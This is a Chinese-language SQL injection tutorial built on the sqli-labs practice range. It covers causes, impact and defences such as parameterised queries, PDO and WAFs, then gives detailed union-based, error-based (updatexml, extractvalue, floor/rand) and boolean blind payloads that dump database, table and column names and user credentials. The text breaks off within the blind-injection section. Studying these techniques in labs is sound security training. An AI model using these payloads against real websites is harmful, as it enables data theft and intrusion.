目录
前言
一、漏洞原因分析
二、漏洞危害
三、sql注入防范
四、如何挖掘sql注入漏洞
五、常见的注入手法
联合查询(union注入)
报错注入
基于布尔的盲注
基于时间的盲注
HTTP头注入
宽字节注入
堆叠查询
二阶注入
六、sql注入getshell的几种方式
前言
SQL注入(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。那什么是SQL了?结构化查询语言(Structured Query Language,缩写:SQL),是一种关系型数据库查询的标准编程语言,用于存取数据以及查询、更新、删除和管理关系型数据库(即SQL是一种数据库查询语言)
即:注入产生的原因是后台服务器在接收相关参数时未做好过滤直接带入到数据库中查询,导致可以拼接执行构造的SQL语句
一、漏洞原因分析
我们都知道web分为前端和后端,前端负责数据显示,后端负责处理来自前端的请求并提供前端展示的资源,即然有资源,那么就需要有存储资源的地方——如mysql数据库。那服务器如何对数据获取了?就需要使用SQL语句这一语法结构进行查询获取。SQL语句通过特有的语法对数据进行查询。
这里使用sqli-labs作为sql注入练习靶场 —> sqli-labs安装。我们可以举一个例子,以sqli-labs第一关为例,按要求在url后面加上?id=1,显示如下
当我们改变id的值为2时,页面发生了改变。说明它将我们输入的数据代入到了数据中进行查询,页面根据输入数据的不同展示的内容也不同。
ps:url中?通常用于表示传递参数,id代表变量参数,2代表参数的值
为了更清楚的看清sql语句的执行与变化过程,我们先修改源代码,打开Less-1/index.php,在源码中添加如下语句将执行的sql语句打印出来,方便我们查看
echo '执行的sql语句为:'.$sql;
echo '<br/>';
echo '<br/>';
访问页面如下,打印出了执行的sql语句
在1后面加上单引号, ?id=1',页面显示有语法错误,说靠近 '1'' limit 0,1有语法错误,我们输入的数据 1' 被完整的带入到了SQL语句中,即直接与原有的sql语句进行了拼接。然后执行的sql语句变成了
$sql="SELECT * FROM users WHERE id=' 1 ' ' LIMIT 0,1";
我们输入的那个单引号和前面的单引号产生了闭合,导致原有后面的那个单引号变成了多余,而sql语法中引号是必须成对出现否则就会报错,这也就解释了为什么输入1'后程序就报错的原因。
既然我们输入什么程序就拼接什么,那我们就构造sql语句将左单引号进行闭合就好了。我们在1后面加上单引号,与左边的引号构成闭合,再接着拼接构造好的SQL语句并注释掉后边的语句 ' 1 ' and 1=1 -- ' LIMIT 0,1" 程序就不会报错,就可以查询我们想要查询的数据,这就是sql注入。
二、漏洞危害
SQL注入漏洞对于数据安全的影响:
- 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
- 网页篡改:通过操作数据库对特定网页进行篡改。
- 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
- 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
- 服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
- 破坏硬盘数据,瘫痪全系统。
三、sql注入防范
解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常修复使用的方案有:
代码层面:
- 对输入进行严格的转义和过滤
- 使用参数化(Parameterized):目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
- PDO预处理 (Java、PHP防范推荐方法:)
⛔没有进行PDO预处理的SQL,在输入SQL语句进行执行的时候,web服务器自己拼凑SQL的时候有可能会把危险的SQL语句拼凑进去。但如果进行了PDO预处理的SQL,会让MYSQL自己进行拼凑,就算夹带了危险的SQL语句,也不会进行处理只会当成参数传进去,而不是以拼接进SQL语句传进去,从而防止了SQL注入
网络层面:
- 通过WAF设备启用防SQL Inject注入策略(或类似防护系统)
- 云端防护(如阿里云盾)
四、如何挖掘sql注入漏洞
1. 注入可能存在的地方
竟然是sql注入,那么这个地方肯定是与数据库有数据交互的,所以我们可以优先观察那种页面存在传值或者查询的地方。比如url中的GET型传参,如?id=1
如我们看见这种就可以考虑
或者是搜索框,前端将用户输入的数据代入到数据库中进行查询,这种以POST方法进行发送数据。如下这种地方
或者是HTTP请求头部字段如Cookie值,下面会讲到。
2. 漏洞探测
此时需要我们用burp截取查询的数据包,找到传参的变量然后在其后面加上单引号、双引号等如下payload进行测试
#判断如下闭合方式是否会报错,会报错则肯定存在注入
=test'
=test"
#若不报错则判断是否存在布尔盲注,如果页面会有不同的显示在可能存在漏洞
=test' and -1=-1 or '
=test' and -1=-2 or '
=test" and -1=-1 or "
=test" and -1=-2 or "
ps:目前网站的sql注入基本都能通过漏洞扫描器xray检测出来 ——> xray与burp联动,但是这样动静太大(公网上),如果在内网中可以直接挂上xray进行检测。所以在公网时可以手动检测是否存在漏洞,然后在存在漏洞的地方打上*,接着复制整个请求包在txt文档中用sqlmap -r进行注入 ——> sqlmap -r
补充:
get型
1. 进行url编码
如果是在burp中测试payload需要先进行url编码,浏览器中则不需要
不进行编码的话,也可以用+代替空格,#代替--+ 。 %23代表#,也是注释符
post型
如果是post型的话,我们可以用上面的方法进行编码,或者使用+代替空格,也可以不使用,直接像在浏览器中探测一样
五、常见的注入手法
SQL 注入漏洞根据不同的标准,有不同的分类。如按照参数类型可分为两种:数字型和字符型。
参数类型分类
1. 数字型:当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
如 www.text.com/text.php?id=3 对应的sql语句为 select * from table where id=3
2. 字符型:字符型注入正好相反
当输入的参数被当做字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过引号来闭合的。即看参数是否被引号包裹
例如数字型语句:select * from table where id =3
则字符型如下:select * from table where name=’admin’
注入手法分类
@ UNION query SQL injection(联合查询注入)
@ Error-based SQL injection(错型注入)
@ Boolean-based blind SQL injection(基于布尔的盲注)
@ Time-based blind SQL injection(基于时间的盲注)
@ Stacked queries SQL injection(可多语句查询注入)
为了练习sql注入,我们使用sqli-labs靶场进行sql注入学习,网上有很多安装教程这里就不演示了。建议学这个之前先学习mysql语法,不然理解不了sql语句
联合查询(union注入)
联合查询适合于有显示位的注入,即页面某个位置会根据我们输入的数据的变化而变化
漏洞靶场实战,传送门 -》webug 4.0 第一关 显错注入
我们以sqli-labs第一关为例来学习联合查询。如下,要求我们传入一个id值过去。传参?id=1,当我们输入id=1和id=2时,页面中name值和password的值是不一样的,说明此时我们输入的数据和数据库有交互并且将数据显示在屏幕上了
1. 注入点判断
开始判断是否存在注入,输入?id=1',页面发生报错,说明后端对我前端的数据输入没有很好的过滤,产生了sql注入漏洞
继续判断,输入 ?id=1' and 1=1 --+ 页面正常显示 传送门 -》关于sql注入中的 --+
?id=1' and 1=2 --+ 页面不正常显示,说明程序对我们的输入做出了正确的判断,所以注入点就是单引号
页面会根据输入的数据变化而变化,当存在注入点时,优先考虑使用联合注入手法。
2. 判断当前表的字段个数
传送门 -》关于order by
输入order by 3,页面无异常反应
?id=1' order by 3 --+
将3修改为4,此时显示未知的列,说明此时当前表中只有3列
?id=1' order by 4 --+
3. 判断显示位
以下为union注入中较为常用的一些函数和环境变量
名称 | 功能 |
version() | MySQL 版本 |
user() | 当前数据库用户名 |
database() | 当前数据库名 |
@@version_compile_os | 操作系统版本 |
@@datadir | 数据库路径 |
接下来测试我们的输入会在屏幕哪个地方进行回显。上面我们判断出来了表中有3列,所以union select的时候就写xx,xx,xx三个数据
需让union select前面的参数查不出来而回显后面的语句,所以id=-1'
?id=-1' union select 1,2,3 --+
如下,在name和password值中回显了我们的输入,这时我们就可以在回显2或3的放置放入测试语句。
4. 爆当前数据库名字
?id=-1' union select 1,2,database() --+
获取当前数据库名为“security”
5. 爆当前数据库中的表
#直接套用语句
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
显示当前数据库中存在4个表“emails,referers,uagents,users”
6. 爆表中的字段
我们这里选择users表进行进一步的获取表中的字段信息
#只需指定表名即可
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
#或者指定当前数据库名
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
获取"users"表中存在3个字段,分别为 "id,username,password"
7. 爆相应字段的所有数据
#只需指定表名和字段名
?id=-1' union select 1,2,group_concat(`id`,':',`username`,':',`password`) from users --+
#字段值不加反引号也可以
?id=-1' union select 1,2,group_concat(id,':',username,':',password) from users --+
至此,联合查询整个过程结束。注入的时候找到注入点后只需套入语句即可。
报错注入
报错注入用在数据库的错误信息会回显在网页中的情况,如果联合查询不能使用,首选报错注入。
报错注入利用的是数据库的报错信息得到数据库的内容,这里需要构造语句让数据库报错。
推荐三种报错注入的方法,直接套用就行。以less-1为例子
1. group by 重复键冲
and (select 1 from (select count(*),concat((select 查询的内容 from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
提交如下,获取数据库名字
?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
2. extractvalue() 函数
?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+
提交 ?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+ 获取数据库名字
3. updatexml() 函数
and updatexml(1,concat('^',(需要查询的内容),'^'),1)
1. 提交如下,获取数据库名字
?id=1' and updatexml(1,concat('^',(database()),'^'),1) --+
2. 获取当前数据库中表的名字
?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security' ),'^'),1) --+
这里是说要显示的内容超过一行它不能显示那么多,所以在 table_schema='security' 后加上 limit 0,1,显示第一行(显示第0行的往下一行,不包括第0行)
如果要看第二行则,limit1,1(第一行的往下一行,不包括第一行,即显示第二行),看第三行则limit2,1。以这个方法获取第四个表为users
3. 爆表中的字段
?id=1' and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),'^'),1) --+
总共爆出的字段为: id , username , password
4. 爆字段中的内容
?id=1' and updatexml(1,concat('^',(select group_concat(username,"--",password) from users limit 0,1 ),'^'),1) --+
三组用户名和密码。
基于布尔的盲注
布尔盲注,即在页面没有错误回显时完成的注入攻击。此时我们输入的语句让页面呈现出两种状态,相当于true和false,根据这两种状态可以判断我们输入的语句是否查询成功。以less-8关为例
1. 我们输入正确的id,显示You are in .....
我们输入错误的语句如id=1' ,或者id=-1时,就什么都不显示。这就是布尔盲注,屏幕上能得到信息不多,就是两种状态
源码如下
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1 ";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="5" color="#FFFF00">';
}